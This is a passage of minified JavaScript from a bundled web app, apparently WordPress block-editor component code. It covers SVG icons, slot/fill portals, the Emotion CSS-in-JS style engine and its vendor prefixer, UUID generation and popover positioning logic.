r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},Fa.apply(this,arguments)}var La=r(4184),Ua=r.n(La);const za=window.wp.compose,Ba=window.wp.primitives,$a=(0,U.createElement)(Ba.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,U.createElement)(Ba.Path,{d:"M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z"})),Ha=(0,U.createElement)(Ba.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,U.createElement)(Ba.Path,{d:"M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z"})),Va=window.wp.deprecated;var Wa=r.n(Va);const qa=window.wp.dom,Ya=(0,U.createElement)(Ba.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,U.createElement)(Ba.Path,{d:"M13 11.8l6.1-6.3-1-1-6.1 6.2-6.1-6.2-1 1 6.1 6.3-6.5 6.7 1 1 6.5-6.6 6.5 6.6 1-1z"}));function ja(e,t,r){const{defaultView:n}=t,{frameElement:o}=n;if(!o||t===r.ownerDocument)return e;const a=o.getBoundingClientRect();return new n.DOMRect(e.left+a.left,e.top+a.top,e.width,e.height)}let Ga=0;function Ka(e){const t=document.scrollingElement||document.body;e&&(Ga=t.scrollTop);const r=e?"add":"remove";t.classList[r]("lockscroll"),document.documentElement.classList[r]("lockscroll"),e||(t.scrollTop=Ga)}let Qa=0;function Za(){return(0,U.useEffect)((()=>(0===Qa&&Ka(!0),++Qa,()=>{1===Qa&&Ka(!1),--Qa})),[]),null}const Xa=(0,U.createContext)({registerSlot:()=>{},unregisterSlot:()=>{},registerFill:()=>{},unregisterFill:()=>{},getSlot:()=>{},getFills:()=>{},subscribe:()=>{}});function Ja(e){let{name:t,children:r,registerFill:n,unregisterFill:o}=e;const a=(e=>{const{getSlot:t,subscribe:r}=(0,U.useContext)(Xa),[n,o]=(0,U.useState)(t(e));return(0,U.useEffect)((()=>(o(t(e)),r((()=>{o(t(e))})))),[e]),n})(t),i=(0,U.useRef)({name:t,children:r});return(0,U.useLayoutEffect)((()=>(n(t,i.current),()=>o(t,i.current))),[]),(0,U.useLayoutEffect)((()=>{i.current.children=r,a&&a.forceUpdate()}),[r]),(0,U.useLayoutEffect)((()=>{t!==i.current.name&&(o(i.current.name,i.current),i.current.name=t,n(t,i.current))}),[t]),a&&a.node?((0,V.isFunction)(r)&&(r=r(a.props.fillProps)),(0,U.createPortal)(r,a.node)):null}const ei=e=>(0,U.createElement)(Xa.Consumer,null,(t=>{let{registerFill:r,unregisterFill:n}=t;return(0,U.createElement)(Ja,Fa({},e,{registerFill:r,unregisterFill:n}))}));class ti extends U.Component{constructor(){super(...arguments),this.isUnmounted=!1,this.bindNode=this.bindNode.bind(this)}componentDidMount(){const{registerSlot:e}=this.props;e(this.props.name,this)}componentWillUnmount(){const{unregisterSlot:e}=this.props;this.isUnmounted=!0,e(this.props.name,this)}componentDidUpdate(e){const{name:t,unregisterSlot:r,registerSlot:n}=this.props;e.name!==t&&(r(e.name),n(t,this))}bindNode(e){this.node=e}forceUpdate(){this.isUnmounted||super.forceUpdate()}render(){const{children:e,name:t,fillProps:r={},getFills:n}=this.props,o=(0,V.map)(n(t,this),(e=>{const t=(0,V.isFunction)(e.children)?e.children(r):e.children;return U.Children.map(t,((e,t)=>{if(!e||(0,V.isString)(e))return e;const r=e.key||t;return(0,U.cloneElement)(e,{key:r})}))})).filter((0,V.negate)(U.isEmptyElement));return(0,U.createElement)(U.Fragment,null,(0,V.isFunction)(e)?e(o):o)}}const ri=e=>(0,U.createElement)(Xa.Consumer,null,(t=>{let{registerSlot:r,unregisterSlot:n,getFills:o}=t;return(0,U.createElement)(ti,Fa({},e,{registerSlot:r,unregisterSlot:n,getFills:o}))}));window.wp.warning;var ni=r(4155);const oi=(0,U.createContext)({slots:{},fills:{},registerSlot:()=>{void 0!==ni&&ni.env},updateSlot:()=>{},unregisterSlot:()=>{},registerFill:()=>{},unregisterFill:()=>{}});function ai(e){const t=(0,U.useContext)(oi),r=t.slots[e]||{},n=t.fills[e],o=(0,U.useMemo)((()=>n||[]),[n]);return{...r,updateSlot:(0,U.useCallback)((r=>{t.updateSlot(e,r)}),[e,t.updateSlot]),unregisterSlot:(0,U.useCallback)((r=>{t.unregisterSlot(e,r)}),[e,t.unregisterSlot]),fills:o,registerFill:(0,U.useCallback)((r=>{t.registerFill(e,r)}),[e,t.registerFill]),unregisterFill:(0,U.useCallback)((r=>{t.unregisterFill(e,r)}),[e,t.unregisterFill])}}var ii=function(){function e(e){var t=this;this._insertTag=function(e){var r;r=0===t.tags.length?t.insertionPoint?t.insertionPoint.nextSibling:t.prepend?t.container.firstChild:t.before:t.tags[t.tags.length-1].nextSibling,t.container.insertBefore(e,r),t.tags.push(e)},this.isSpeedy=void 0===e.speedy||e.speedy,this.tags=[],this.ctr=0,this.nonce=e.nonce,this.key=e.key,this.container=e.container,this.prepend=e.prepend,this.insertionPoint=e.insertionPoint,this.before=null}var t=e.prototype;return t.hydrate=function(e){e.forEach(this._insertTag)},t.insert=function(e){this.ctr%(this.isSpeedy?65e3:1)==0&&this._insertTag(function(e){var t=document.createElement("style");return t.setAttribute("data-emotion",e.key),void 0!==e.nonce&&t.setAttribute("nonce",e.nonce),t.appendChild(document.createTextNode("")),t.setAttribute("data-s",""),t}(this));var t=this.tags[this.tags.length-1];if(this.isSpeedy){var r=function(e){if(e.sheet)return e.sheet;for(var t=0;t<document.styleSheets.length;t++)if(document.styleSheets[t].ownerNode===e)return document.styleSheets[t]}(t);try{r.insertRule(e,r.cssRules.length)}catch(e){}}else t.appendChild(document.createTextNode(e));this.ctr++},t.flush=function(){this.tags.forEach((function(e){return e.parentNode&&e.parentNode.removeChild(e)})),this.tags=[],this.ctr=0},e}(),si=Math.abs,ci=String.fromCharCode,ui=Object.assign;function li(e){return e.trim()}function di(e,t,r){return e.replace(t,r)}function pi(e,t){return e.indexOf(t)}function mi(e,t){return 0|e.charCodeAt(t)}function hi(e,t,r){return e.slice(t,r)}function fi(e){return e.length}function yi(e){return e.length}function gi(e,t){return t.push(e),e}var _i=1,vi=1,bi=0,Ei=0,wi=0,Si="";function Ti(e,t,r,n,o,a,i){return{value:e,root:t,parent:r,type:n,props:o,children:a,line:_i,column:vi,length:i,return:""}}function Ri(e,t){return ui(Ti("",null,null,"",null,null,0),e,{length:-e.length},t)}function Oi(){return wi=Ei>0?mi(Si,--Ei):0,vi--,10===wi&&(vi=1,_i--),wi}function Ai(){return wi=Ei<bi?mi(Si,Ei++):0,vi++,10===wi&&(vi=1,_i++),wi}function Ci(){return mi(Si,Ei)}function xi(){return Ei}function Ii(e,t){return hi(Si,e,t)}function ki(e){switch(e){case 0:case 9:case 10:case 13:case 32:return 5;case 33:case 43:case 44:case 47:case 62:case 64:case 126:case 59:case 123:case 125:return 4;case 58:return 3;case 34:case 39:case 40:case 91:return 2;case 41:case 93:return 1}return 0}function Ni(e){return _i=vi=1,bi=fi(Si=e),Ei=0,[]}function Di(e){return Si="",e}function Pi(e){return li(Ii(Ei-1,Li(91===e?e+2:40===e?e+1:e)))}function Mi(e){for(;(wi=Ci())&&wi<33;)Ai();return ki(e)>2||ki(wi)>3?"":" "}function Fi(e,t){for(;--t&&Ai()&&!(wi<48||wi>102||wi>57&&wi<65||wi>70&&wi<97););return Ii(e,xi()+(t<6&&32==Ci()&&32==Ai()))}function Li(e){for(;Ai();)switch(wi){case e:return Ei;case 34:case 39:34!==e&&39!==e&&Li(wi);break;case 40:41===e&&Li(e);break;case 92:Ai()}return Ei}function Ui(e,t){for(;Ai()&&e+wi!==57&&(e+wi!==84||47!==Ci()););return"/*"+Ii(t,Ei-1)+"*"+ci(47===e?e:Ai())}function zi(e){for(;!ki(Ci());)Ai();return Ii(e,Ei)}var Bi="-ms-",$i="-moz-",Hi="-webkit-",Vi="comm",Wi="rule",qi="decl",Yi="@keyframes";function ji(e,t){for(var r="",n=yi(e),o=0;o<n;o++)r+=t(e[o],o,e,t)||"";return r}function Gi(e,t,r,n){switch(e.type){case"@layer":if(e.children.length)break;case"@import":case qi:return e.return=e.return||e.value;case Vi:return"";case Yi:return e.return=e.value+"{"+ji(e.children,n)+"}";case Wi:e.value=e.props.join(",")}return fi(r=ji(e.children,n))?e.return=e.value+"{"+r+"}":""}function Ki(e){return Di(Qi("",null,null,null,[""],e=Ni(e),0,[0],e))}function Qi(e,t,r,n,o,a,i,s,c){for(var u=0,l=0,d=i,p=0,m=0,h=0,f=1,y=1,g=1,_=0,v="",b=o,E=a,w=n,S=v;y;)switch(h=_,_=Ai()){case 40:if(108!=h&&58==mi(S,d-1)){-1!=pi(S+=di(Pi(_),"&","&\f"),"&\f")&&(g=-1);break}case 34:case 39:case 91:S+=Pi(_);break;case 9:case 10:case 13:case 32:S+=Mi(h);break;case 92:S+=Fi(xi()-1,7);continue;case 47:switch(Ci()){case 42:case 47:gi(Xi(Ui(Ai(),xi()),t,r),c);break;default:S+="/"}break;case 123*f:s[u++]=fi(S)*g;case 125*f:case 59:case 0:switch(_){case 0:case 125:y=0;case 59+l:-1==g&&(S=di(S,/\f/g,"")),m>0&&fi(S)-d&&gi(m>32?Ji(S+";",n,r,d-1):Ji(di(S," ","")+";",n,r,d-2),c);break;case 59:S+=";";default:if(gi(w=Zi(S,t,r,u,l,o,s,v,b=[],E=[],d),a),123===_)if(0===l)Qi(S,t,w,w,b,a,d,s,E);else switch(99===p&&110===mi(S,3)?100:p){case 100:case 108:case 109:case 115:Qi(e,w,w,n&&gi(Zi(e,w,w,0,0,o,s,v,o,b=[],d),E),o,E,d,s,n?b:E);break;default:Qi(S,w,w,w,[""],E,0,s,E)}}u=l=m=0,f=g=1,v=S="",d=i;break;case 58:d=1+fi(S),m=h;default:if(f<1)if(123==_)--f;else if(125==_&&0==f++&&125==Oi())continue;switch(S+=ci(_),_*f){case 38:g=l>0?1:(S+="\f",-1);break;case 44:s[u++]=(fi(S)-1)*g,g=1;break;case 64:45===Ci()&&(S+=Pi(Ai())),p=Ci(),l=d=fi(v=S+=zi(xi())),_++;break;case 45:45===h&&2==fi(S)&&(f=0)}}return a}function Zi(e,t,r,n,o,a,i,s,c,u,l){for(var d=o-1,p=0===o?a:[""],m=yi(p),h=0,f=0,y=0;h<n;++h)for(var g=0,_=hi(e,d+1,d=si(f=i[h])),v=e;g<m;++g)(v=li(f>0?p[g]+" "+_:di(_,/&\f/g,p[g])))&&(c[y++]=v);return Ti(e,t,r,0===o?Wi:s,c,u,l)}function Xi(e,t,r){return Ti(e,t,r,Vi,ci(wi),hi(e,2,-2),0)}function Ji(e,t,r,n){return Ti(e,t,r,qi,hi(e,0,n),hi(e,n+1,-1),n)}var es=function(e,t,r){for(var n=0,o=0;n=o,o=Ci(),38===n&&12===o&&(t[r]=1),!ki(o);)Ai();return Ii(e,Ei)},ts=new WeakMap,rs=function(e){if("rule"===e.type&&e.parent&&!(e.length<1)){for(var t=e.value,r=e.parent,n=e.column===r.column&&e.line===r.line;"rule"!==r.type;)if(!(r=r.parent))return;if((1!==e.props.length||58===t.charCodeAt(0)||ts.get(r))&&!n){ts.set(e,!0);for(var o=[],a=function(e,t){return Di(function(e,t){var r=-1,n=44;do{switch(ki(n)){case 0:38===n&&12===Ci()&&(t[r]=1),e[r]+=es(Ei-1,t,r);break;case 2:e[r]+=Pi(n);break;case 4:if(44===n){e[++r]=58===Ci()?"&\f":"",t[r]=e[r].length;break}default:e[r]+=ci(n)}}while(n=Ai());return e}(Ni(e),t))}(t,o),i=r.props,s=0,c=0;s<a.length;s++)for(var u=0;u<i.length;u++,c++)e.props[c]=o[s]?a[s].replace(/&\f/g,i[u]):i[u]+" "+a[s]}}},ns=function(e){if("decl"===e.type){var t=e.value;108===t.charCodeAt(0)&&98===t.charCodeAt(2)&&(e.return="",e.value="")}};function os(e,t){switch(function(e,t){return 45^mi(e,0)?(((t<<2^mi(e,0))<<2^mi(e,1))<<2^mi(e,2))<<2^mi(e,3):0}(e,t)){case 5103:return Hi+"print-"+e+e;case 5737:case 4201:case 3177:case 3433:case 1641:case 4457:case 2921:case 5572:case 6356:case 5844:case 3191:case 6645:case 3005:case 6391:case 5879:case 5623:case 6135:case 4599:case 4855:case 4215:case 6389:case 5109:case 5365:case 5621:case 3829:return Hi+e+e;case 5349:case 4246:case 4810:case 6968:case 2756:return Hi+e+$i+e+Bi+e+e;case 6828:case 4268:return Hi+e+Bi+e+e;case 6165:return Hi+e+Bi+"flex-"+e+e;case 5187:return Hi+e+di(e,/(\w+).+(:[^]+)/,Hi+"box-$1$2"+Bi+"flex-$1$2")+e;case 5443:return Hi+e+Bi+"flex-item-"+di(e,/flex-|-self/,"")+e;case 4675:return Hi+e+Bi+"flex-line-pack"+di(e,/align-content|flex-|-self/,"")+e;case 5548:return Hi+e+Bi+di(e,"shrink","negative")+e;case 5292:return Hi+e+Bi+di(e,"basis","preferred-size")+e;case 6060:return Hi+"box-"+di(e,"-grow","")+Hi+e+Bi+di(e,"grow","positive")+e;case 4554:return Hi+di(e,/([^-])(transform)/g,"$1"+Hi+"$2")+e;case 6187:return di(di(di(e,/(zoom-|grab)/,Hi+"$1"),/(image-set)/,Hi+"$1"),e,"")+e;case 5495:case 3959:return di(e,/(image-set\([^]*)/,Hi+"$1$`$1");case 4968:return di(di(e,/(.+:)(flex-)?(.*)/,Hi+"box-pack:$3"+Bi+"flex-pack:$3"),/s.+-b[^;]+/,"justify")+Hi+e+e;case 4095:case 3583:case 4068:case 2532:return di(e,/(.+)-inline(.+)/,Hi+"$1$2")+e;case 8116:case 7059:case 5753:case 5535:case 5445:case 5701:case 4933:case 4677:case 5533:case 5789:case 5021:case 4765:if(fi(e)-1-t>6)switch(mi(e,t+1)){case 109:if(45!==mi(e,t+4))break;case 102:return di(e,/(.+:)(.+)-([^]+)/,"$1"+Hi+"$2-$3$1"+$i+(108==mi(e,t+3)?"$3":"$2-$3"))+e;case 115:return~pi(e,"stretch")?os(di(e,"stretch","fill-available"),t)+e:e}break;case 4949:if(115!==mi(e,t+1))break;case 6444:switch(mi(e,fi(e)-3-(~pi(e,"!important")&&10))){case 107:return di(e,":",":"+Hi)+e;case 101:return di(e,/(.+:)([^;!]+)(;|!.+)?/,"$1"+Hi+(45===mi(e,14)?"inline-":"")+"box$3$1"+Hi+"$2$3$1"+Bi+"$2box$3")+e}break;case 5936:switch(mi(e,t+11)){case 114:return Hi+e+Bi+di(e,/[svh]\w+-[tblr]{2}/,"tb")+e;case 108:return Hi+e+Bi+di(e,/[svh]\w+-[tblr]{2}/,"tb-rl")+e;case 45:return Hi+e+Bi+di(e,/[svh]\w+-[tblr]{2}/,"lr")+e}return Hi+e+Bi+e+e}return e}var as=[function(e,t,r,n){if(e.length>-1&&!e.return)switch(e.type){case qi:e.return=os(e.value,e.length);break;case Yi:return ji([Ri(e,{value:di(e.value,"@","@"+Hi)})],n);case Wi:if(e.length)return function(e,t){return e.map(t).join("")}(e.props,(function(t){switch(function(e,t){return(e=/(::plac\w+|:read-\w+)/.exec(e))?e[0]:e}(t)){case":read-only":case":read-write":return ji([Ri(e,{props:[di(t,/:(read-\w+)/,":-moz-$1")]})],n);case"::placeholder":return ji([Ri(e,{props:[di(t,/:(plac\w+)/,":"+Hi+"input-$1")]}),Ri(e,{props:[di(t,/:(plac\w+)/,":-moz-$1")]}),Ri(e,{props:[di(t,/:(plac\w+)/,Bi+"input-$1")]})],n)}return""}))}}],is=function(e){var t=e.key;if("css"===t){var r=document.querySelectorAll("style[data-emotion]:not([data-s])");Array.prototype.forEach.call(r,(function(e){-1!==e.getAttribute("data-emotion").indexOf(" ")&&(document.head.appendChild(e),e.setAttribute("data-s",""))}))}var n,o,a=e.stylisPlugins||as,i={},s=[];n=e.container||document.head,Array.prototype.forEach.call(document.querySelectorAll('style[data-emotion^="'+t+' "]'),(function(e){for(var t=e.getAttribute("data-emotion").split(" "),r=1;r<t.length;r++)i[t[r]]=!0;s.push(e)}));var c,u,l,d,p=[Gi,(d=function(e){c.insert(e)},function(e){e.root||(e=e.return)&&d(e)})],m=(u=[rs,ns].concat(a,p),l=yi(u),function(e,t,r,n){for(var o="",a=0;a<l;a++)o+=u[a](e,t,r,n)||"";return o});o=function(e,t,r,n){c=r,ji(Ki(e?e+"{"+t.styles+"}":t.styles),m),n&&(h.inserted[t.name]=!0)};var h={key:t,sheet:new ii({key:t,container:n,nonce:e.nonce,speedy:e.speedy,prepend:e.prepend,insertionPoint:e.insertionPoint}),nonce:e.nonce,inserted:i,registered:{},insert:o};return h.sheet.hydrate(s),h},ss={animationIterationCount:1,aspectRatio:1,borderImageOutset:1,borderImageSlice:1,borderImageWidth:1,boxFlex:1,boxFlexGroup:1,boxOrdinalGroup:1,columnCount:1,columns:1,flex:1,flexGrow:1,flexPositive:1,flexShrink:1,flexNegative:1,flexOrder:1,gridRow:1,gridRowEnd:1,gridRowSpan:1,gridRowStart:1,gridColumn:1,gridColumnEnd:1,gridColumnSpan:1,gridColumnStart:1,msGridRow:1,msGridRowSpan:1,msGridColumn:1,msGridColumnSpan:1,fontWeight:1,lineHeight:1,opacity:1,order:1,orphans:1,tabSize:1,widows:1,zIndex:1,zoom:1,WebkitLineClamp:1,fillOpacity:1,floodOpacity:1,stopOpacity:1,strokeDasharray:1,strokeDashoffset:1,strokeMiterlimit:1,strokeOpacity:1,strokeWidth:1};function cs(e){var t=Object.create(null);return function(r){return void 0===t[r]&&(t[r]=e(r)),t[r]}}var us=/[A-Z]|^ms/g,ls=/_EMO_([^_]+?)_([^]*?)_EMO_/g,ds=function(e){return 45===e.charCodeAt(1)},ps=function(e){return null!=e&&"boolean"!=typeof e},ms=cs((function(e){return ds(e)?e:e.replace(us,"-$&").toLowerCase()})),hs=function(e,t){switch(e){case"animation":case"animationName":if("string"==typeof t)return t.replace(ls,(function(e,t,r){return ys={name:t,styles:r,next:ys},t}))}return 1===ss[e]||ds(e)||"number"!=typeof t||0===t?t:t+"px"};function fs(e,t,r){if(null==r)return"";if(void 0!==r.__emotion_styles)return r;switch(typeof r){case"boolean":return"";case"object":if(1===r.anim)return ys={name:r.name,styles:r.styles,next:ys},r.name;if(void 0!==r.styles){var n=r.next;if(void 0!==n)for(;void 0!==n;)ys={name:n.name,styles:n.styles,next:ys},n=n.next;return r.styles+";"}return function(e,t,r){var n="";if(Array.isArray(r))for(var o=0;o<r.length;o++)n+=fs(e,t,r[o])+";";else for(var a in r){var i=r[a];if("object"!=typeof i)null!=t&&void 0!==t[i]?n+=a+"{"+t[i]+"}":ps(i)&&(n+=ms(a)+":"+hs(a,i)+";");else if(!Array.isArray(i)||"string"!=typeof i[0]||null!=t&&void 0!==t[i[0]]){var s=fs(e,t,i);switch(a){case"animation":case"animationName":n+=ms(a)+":"+s+";";break;default:n+=a+"{"+s+"}"}}else for(var c=0;c<i.length;c++)ps(i[c])&&(n+=ms(a)+":"+hs(a,i[c])+";")}return n}(e,t,r);case"function":if(void 0!==e){var o=ys,a=r(e);return ys=o,fs(e,t,a)}}if(null==t)return r;var i=t[r];return void 0!==i?i:r}var ys,gs,_s=/label:\s*([^\s;\n{]+)\s*(;|$)/g,vs=function(e,t,r){if(1===e.length&&"object"==typeof e[0]&&null!==e[0]&&void 0!==e[0].styles)return e[0];var n=!0,o="";ys=void 0;var a=e[0];null==a||void 0===a.raw?(n=!1,o+=fs(r,t,a)):o+=a[0];for(var i=1;i<e.length;i++)o+=fs(r,t,e[i]),n&&(o+=a[i]);_s.lastIndex=0;for(var s,c="";null!==(s=_s.exec(o));)c+="-"+s[1];var u=function(e){for(var t,r=0,n=0,o=e.length;o>=4;++n,o-=4)t=1540483477*(65535&(t=255&e.charCodeAt(n)|(255&e.charCodeAt(++n))<<8|(255&e.charCodeAt(++n))<<16|(255&e.charCodeAt(++n))<<24))+(59797*(t>>>16)<<16),r=1540483477*(65535&(t^=t>>>24))+(59797*(t>>>16)<<16)^1540483477*(65535&r)+(59797*(r>>>16)<<16);switch(o){case 3:r^=(255&e.charCodeAt(n+2))<<16;case 2:r^=(255&e.charCodeAt(n+1))<<8;case 1:r=1540483477*(65535&(r^=255&e.charCodeAt(n)))+(59797*(r>>>16)<<16)}return(((r=1540483477*(65535&(r^=r>>>13))+(59797*(r>>>16)<<16))^r>>>15)>>>0).toString(36)}(o)+c;return{name:u,styles:o,next:ys}},bs=!!Pa.useInsertionEffect&&Pa.useInsertionEffect,Es=bs||function(e){return e()},ws=(bs||Pa.useLayoutEffect,Pa.createContext("undefined"!=typeof HTMLElement?is({key:"css"}):null)),Ss=ws.Provider,Ts=Pa.createContext({}),Rs=r(9588),Os=r.n(Rs),As=new Uint8Array(16);function Cs(){if(!gs&&!(gs="undefined"!=typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto)||"undefined"!=typeof msCrypto&&"function"==typeof msCrypto.getRandomValues&&msCrypto.getRandomValues.bind(msCrypto)))throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");return gs(As)}const xs=/^(?:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}|00000000-0000-0000-0000-000000000000)$/i;for(var Is=[],ks=0;ks<256;++ks)Is.push((ks+256).toString(16).substr(1));const Ns=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,r=(Is[e[t+0]]+Is[e[t+1]]+Is[e[t+2]]+Is[e[t+3]]+"-"+Is[e[t+4]]+Is[e[t+5]]+"-"+Is[e[t+6]]+Is[e[t+7]]+"-"+Is[e[t+8]]+Is[e[t+9]]+"-"+Is[e[t+10]]+Is[e[t+11]]+Is[e[t+12]]+Is[e[t+13]]+Is[e[t+14]]+Is[e[t+15]]).toLowerCase();if(!function(e){return"string"==typeof e&&xs.test(e)}(r))throw TypeError("Stringified UUID is invalid");return r},Ds=function(e,t,r){var n=(e=e||{}).random||(e.rng||Cs)();if(n[6]=15&n[6]|64,n[8]=63&n[8]|128,t){r=r||0;for(var o=0;o<16;++o)t[r+o]=n[o];return t}return Ns(n)},Ps=new Set,Ms=Os()((e=>{let t=Ds().replace(/[0-9]/g,"");for(;Ps.has(t);)t=Ds().replace(/[0-9]/g,"");return Ps.add(t),is({container:e,key:t})}));function Fs(e){let{children:t,document:r}=e;if(!r)return null;const n=Ms(r.head);return(0,U.createElement)(Ss,{value:n},t)}function Ls(){const[,e]=(0,U.useState)({}),t=(0,U.useRef)(!0);return(0,U.useEffect)((()=>()=>{t.current=!1}),[]),()=>{t.current&&e({})}}function Us(e){let{name:t,children:r}=e;const n=ai(t),o=(0,U.useRef)({rerender:Ls()});if((0,U.useEffect)((()=>(n.registerFill(o),()=>{n.unregisterFill(o)})),[n.registerFill,n.unregisterFill]),!n.ref||!n.ref.current)return null;"function"==typeof r&&(r=r(n.fillProps));const a=(0,U.createElement)(Fs,{document:n.ref.current.ownerDocument},r);return(0,U.createPortal)(a,n.ref.current)}const zs=(0,U.forwardRef)((function(e,t){let{name:r,fillProps:n={},as:o="div",...a}=e;const i=(0,U.useContext)(oi),s=(0,U.useRef)();return(0,U.useLayoutEffect)((()=>(i.registerSlot(r,s,n),()=>{i.unregisterSlot(r,s)})),[i.registerSlot,i.unregisterSlot,r]),(0,U.useLayoutEffect)((()=>{i.updateSlot(r,n)})),(0,U.createElement)(o,Fa({ref:(0,za.useMergeRefs)([t,s])},a))}));function Bs(e){return(0,U.createElement)(U.Fragment,null,(0,U.createElement)(ei,e),(0,U.createElement)(Us,e))}const $s=(0,U.forwardRef)(((e,t)=>{let{bubblesVirtually:r,...n}=e;return r?(0,U.createElement)(zs,Fa({},n,{ref:t})):(0,U.createElement)(ri,n)}));function Hs(e){return"appear"===e?"top":"left"}const Vs="Popover",Ws=(0,U.createContext)();function qs(e,t){const{paddingTop:r,paddingBottom:n,paddingLeft:o,paddingRight:a}=function(e){return e.ownerDocument.defaultView.getComputedStyle(e)}(t),i=r?parseInt(r,10):0,s=n?parseInt(n,10):0,c=o?parseInt(o,10):0,u=a?parseInt(a,10):0;return{x:e.left+c,y:e.top+i,width:e.width-c-u,height:e.height-i-s,left:e.left+c,right:e.right-u,top:e.top+i,bottom:e.bottom-s}}function Ys(e,t,r){r?e.getAttribute(t)!==r&&e.setAttribute(t,r):e.hasAttribute(t)&&e.removeAttribute(t)}function js(e,t){let r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"";e.style[t]!==r&&(e.style[t]=r)}function Gs(e,t,r){r?e.classList.contains(t)||e.classList.add(t):e.classList.contains(t)&&e.classList.remove(t)}const Ks=(0,U.forwardRef)(((e,t)=>{let{headerTitle:r,onClose:n,children:o,className:a,noArrow:i=!0,isAlternate:s,position:c="bottom right",range:u,focusOnMount:l="firstElement",anchorRef:d,shouldAnchorIncludePadding:p,anchorRect:m,getAnchorRect:h,expandOnMobile:f,animate:y=!0,onFocusOutside:g,__unstableStickyBoundaryElement:_,__unstableSlotName:v=Vs,__unstableObserveElement:b,__unstableBoundaryParent:E,__unstableForcePosition:w,__unstableForceXAlignment:S,__unstableEditorCanvasWrapper:T,...R}=e;const O=(0,U.useRef)(null),A=(0,U.useRef)(null),C=(0,U.useRef)(),x=(0,za.useViewportMatch)("medium","<"),[I,k]=(0,U.useState)(),N=(0,U.useContext)(Ws)||v,D=ai(N),P=f&&x,[M,F]=(0,za.useResizeObserver)();i=P||i,(0,U.useLayoutEffect)((()=>{if(P)return Gs(C.current,"is-without-arrow",i),Gs(C.current,"is-alternate",s),Ys(C.current,"data-x-axis"),Ys(C.current,"data-y-axis"),js(C.current,"top"),js(C.current,"left"),js(A.current,"maxHeight"),void js(A.current,"maxWidth");const e=()=>{if(!C.current||!A.current)return;let e=function(e,t,r){let n=arguments.length>3&&void 0!==arguments[3]&&arguments[3],o=arguments.length>4?arguments[4]:void 0,a=arguments.length>5?arguments[5]:void 0;if(t)return t;if(r){if(!e.current)return;const t=r(e.current);return ja(t,t.ownerDocument||e.current.ownerDocument,a)}if(!1!==n){if(!(n&&window.Range&&window.Element&&window.DOMRect))return;if("function"==typeof(null==n?void 0:n.cloneRange))return ja((0,qa.getRectangleFromRange)(n),n.endContainer.ownerDocument,a);if("function"==typeof(null==n?void 0:n.getBoundingClientRect)){const e=ja(n.getBoundingClientRect(),n.ownerDocument,a);return o?e:qs(e,n)}const{top:e,bottom:t}=n,r=e.getBoundingClientRect(),i=t.getBoundingClientRect(),s=ja(new window.DOMRect(r.left,r.top,r.width,i.bottom-r.top),e.ownerDocument,a);return o?s:qs(s,n)}if(!e.current)return;const{parentNode:i}=e.current,s=ja(i.getBoundingClientRect(),i.ownerDocument,a);return o?s:qs(s,i)}(O,m,h,d,p,C.current);if(!e)return;const{offsetParent:t,ownerDocument:r}=C.current;let n,o=0;if(t&&t!==r.body){const r=t.getBoundingClientRect();o=r.top,e=new window.DOMRect(e.left-r.left,e.top-r.top,e.width,e.height)}E&&(n=C.current.parentElement);const a=F.height?F:A.current.getBoundingClientRect(),{popoverTop:u,popoverLeft:l,xAxis:f,yAxis:y,contentHeight:g,contentWidth:v}=function(e,t){let r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"top",n=arguments.length>3?arguments[3]:void 0,o=arguments.length>5?arguments[5]:void 0,a=arguments.length>6?arguments[6]:void 0,i=arguments.length>7?arguments[7]:void 0,s=arguments.length>8?arguments[8]:void 0,c=arguments.length>9?arguments[9]:void 0;const[u,l="center",d]=r.split(" "),p=function(e,t,r,n,o,a,i,s,c){const{height:u}=t;if(o){const t=o.getBoundingClientRect(),n=t.top+u-i,a=t.bottom-u-i;if(e.top<=n)return!c||u+10<c.scrollTop+e.top?{yAxis:r,popoverTop:Math.min(e.bottom,n)}:{yAxis:"bottom",popoverTop:Math.min(e.bottom,a)}}let l=e.top+e.height/2;"bottom"===n?l=e.bottom:"top"===n&&(l=e.top);const d={popoverTop:l,contentHeight:(l-u/2>0?u/2:l)+(l+u/2>window.innerHeight?window.innerHeight-l:u/2)},p={popoverTop:e.top,contentHeight:e.top-10-u>0?u:e.top-10},m={popoverTop:e.bottom,contentHeight:e.bottom+10+u>window.innerHeight?window.innerHeight-10-e.bottom:u};let h,f=r,y=null;if(!o&&!s)if("middle"===r&&d.contentHeight===u)f="middle";else if("top"===r&&p.contentHeight===u)f="top";else if("bottom"===r&&m.contentHeight===u)f="bottom";else{f=p.contentHeight>m.contentHeight?"top":"bottom";const e="top"===f?p.contentHeight:m.contentHeight;y=e!==u?e:null}return h="middle"===f?d.popoverTop:"top"===f?p.popoverTop:m.popoverTop,{yAxis:f,popoverTop:h,contentHeight:y}}(e,t,u,d,n,0,o,i,c),m=function(e,t,r,n,o,a,i,s,c){const{width:u}=t;"left"===r&&(0,se.isRTL)()?r="right":"right"===r&&(0,se.isRTL)()&&(r="left"),"left"===n&&(0,se.isRTL)()?n="right":"right"===n&&(0,se.isRTL)()&&(n="left");const l=Math.round(e.left+e.width/2),d={popoverLeft:l,contentWidth:(l-u/2>0?u/2:l)+(l+u/2>window.innerWidth?window.innerWidth-l:u/2)};let p=e.left;"right"===n?p=e.right:"middle"===a||c||(p=l);let m=e.right;"left"===n?m=e.left:"middle"===a||c||(m=l);const h={popoverLeft:p,contentWidth:p-u>0?u:p},f={popoverLeft:m,contentWidth:m+u>window.innerWidth?window.innerWidth-m:u};let y,g=r,_=null;if(!o&&!s)if("center"===r&&d.contentWidth===u)g="center";else if("left"===r&&h.contentWidth===u)g="left";else if("right"===r&&f.contentWidth===u)g="right";else{g=h.contentWidth>f.contentWidth?"left":"right";const 